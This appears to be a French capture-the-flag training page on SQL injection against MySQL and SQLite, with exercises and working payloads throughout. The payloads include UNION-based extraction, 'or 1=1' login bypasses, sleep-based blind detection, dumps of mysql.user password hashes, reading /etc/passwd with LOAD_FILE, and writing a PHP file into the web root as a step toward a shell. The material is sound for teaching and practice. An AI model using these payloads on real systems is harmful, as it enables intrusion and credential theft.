L'exploitation d'injection SQL va du très simple au très compliqué, mais la méthode reste toujours la même: Savoir exploiter la base de donnée Le langage SQL permet d'écrire des requêtes qui fonctionnent sur la majorité des systèmes. Mais pour extraire les informations bas niveau (version, nom des tables, colonnes...), la syntaxe va dépendre de la base de donnée: mysql/mariadb, MS SQL Server, Oracle, PostgreSQL... Il faut donc connaitre la syntaxe et les commandes systèmes propres à chaque base de donnée. Détecter l'injection La détection se fait en remplaçant une valeur par une fonction qui génère cette même valeur, en générant une erreur, ou en injectant une commande sleep et en constatant le délai. Comprendre la requête SQL Deviner la syntaxe de la requête SQL pour pouvoir injecter des commandes. Injecter une commande On peut vouloir forcer un login, ou afficher le contenu d'une base. Bypasser un éventuel filtre Les développeurs filtrent généralement les inputs: detection d'espace, de ' ou de " Il est parfois possible de contourner ces filtres Exploitation des résultats Le résultat d'une requête SQL peut être l'affichage de données. Dans ce cas, il faut identifie les champs, leur type, invalider les données légitimes et injecter les données à afficher. La requête peut ne rien afficher. Dans ce cas il faut générer des erreurs ou des délais et deviner les données avec des tests logiques. De nombreux cheat-sheets existent: http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injection-cheat-sheet https://www.websec.ca/kb/sql_injection#MySQL_Default_Databases SQLite: SQLite sheet: https://sites.google.com/site/0x7674/home/sqlite3injectioncheatsheet https://thanat0s.trollprod.org/2013/01/sqlite-le-mal-aime-des-sqli/
Démarrez votre serveur dédié en cliquant sur [Start server].
Server status : stopped
http://yoloctf.org/ctf-train-sqli/request_mysql.php
http://yoloctf.org/ctf-train-sqli_/request_mysql.php
Identifier la base de donnée utilisée:
MySQL: SELECT @@version
http://yoloctf.org/ctf-train-sqli/request_mysql.php
http://yoloctf.org/ctf-train-sqli_/request_mysql.php
Lister les databases. Il est possible d'obtenir la liste des bases de données avec la commande SHOW ou un SELECT. Lors d'un injection il sera plus simple d'utiliser un SELECT.
SHOW Databases
SELECT schema_name FROM information_schema.schemata;
Il y a d'un coté les tables internes à mySQL, et d'un autre coté les bases applicatives qui contiennent les données dont login/password de l'application. Les tables internes sont:
information_schema
mysql
performance_schema
Il est possible d'en extraire les identifiants utilisés pour se connecter et faire les requêtes SQL. Le flag est le nom de la table contenant les données de l'application du ctf.
http://yoloctf.org/ctf-train-sqli/request_mysql.php
http://yoloctf.org/ctf-train-sqli_/request_mysql.php
Lister les tables d'une databases.
SELECT table_name FROM information_schema.tables WHERE table_schema = 'xxx'
Le flag est le nom de la table qui contient les informations sur les utilisateurs. Le nom de cette table est passée dans l'usage courant, et il est souvent possible de requêter dessus en aveugle.
show columns from users
SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_SCHEMA='ctfdb' AND TABLE_NAME='users'
Le flag est le nom de la colonne contenant le nom de l'utilisateur.
SELECT * from users
SELECT id, login from users
Le flag est le mot de passe de max
Le serveur web se connecte à un serveur mysql avec des identifiants login/password souvent configurés dans les fichiers php. mySQL gère des droits d'accès pour chaque utilisateur. Pour connaitre l'utilisateur courant:
SELECT user();
SELECT system_user();
Si vous avez les droits, afficher la liste des users et les mots de passe hashés
SELECT user FROM mysql.user;
SELECT host, user, password FROM mysql.user;
Essayer les commandes en tant que root, puis en tant que ctfuser. Le flag est le hash du mot de passe de ctfuser
Si la requête sont faites par un utilisateur en ayant les droits, il est possible d'afficher tout fichier lisible par le process.
SELECT LOAD_FILE('/etc/passwd')
Lancer la requête en tant que user root, puis ctfuser. Le flag est le mot de passe de max
Si la requête sont faites par un utilisateur en ayant les droits, il est possible d'écrire des fichiers.
SELECT * FROM users INTO dumpfile '/var/www/html/yolo.php'
SELECT '<?php phpinfo(); ?>' INTO dumpfile '/var/www/html/yolo.php'
Lancer la requête en tant que user root, puis ctfuser. Si vous pouvez créer ce fichier, et y accéder, vous pouvez lancer un reverse shell.
Input de type int
SELECT * from users WHERE id=ARG1
Input de type string
SELECT id, name, password from users WHERE name='ARG1'
Plusieurs arguments
SELECT id, name, password from users WHERE name='ARG1' and password='ARG2'
1 => SELECT * from users WHERE id=1
Effectuer un calcul et vérifier que le résultat ne change pas
0+1 => SELECT * from users WHERE id=0+1
Générer une erreur
1" => SELECT * from users WHERE id=1"
SELECT * from users WHERE id=1'
SELECT * from users WHERE id=1')
Générer un delai
1 or SLEEP(3)
max => SELECT * from users WHERE login='max'
Concaténer deux strings et vérifier que le résultat ne change pas
SQLite: m'||'ax => SELECT * from users WHERE login='m'||'ax'
Générer une erreur
SELECT * from users WHERE id=max"
SELECT * from users WHERE id=max'
SELECT * from users WHERE id=max')
Générer un delai. La valeur start valant 0, substr retourne une string nulle.
SQLite: max' || substr(upper(hex(randomblob(99999999))),0,1)
Un polyglot est un SQLi qui fonctionne aussi bien sur un int que sur une string.
SLEEP(3) /*' or SLEEP(3) or '" or SLEEP(3) or "*/
aa' or 1=1
aa' or 1=1 LIMIT 1 -- -
aa' or 1=1 LIMIT 1 OFFSET 2 -- -
aa' and 1=0 UNION SELECT 'admin'
aa' and 1=0 UNION SELECT 1
aa' and 1=0 UNION SELECT 1,2
aa' and 1=0 UNION SELECT 1,2,3
aa' and 1=0 UNION SELECT 1,2,3,4
admin' AND 1=0 UNION ALL SELECT 'admin', MD5(1234)
curl xxx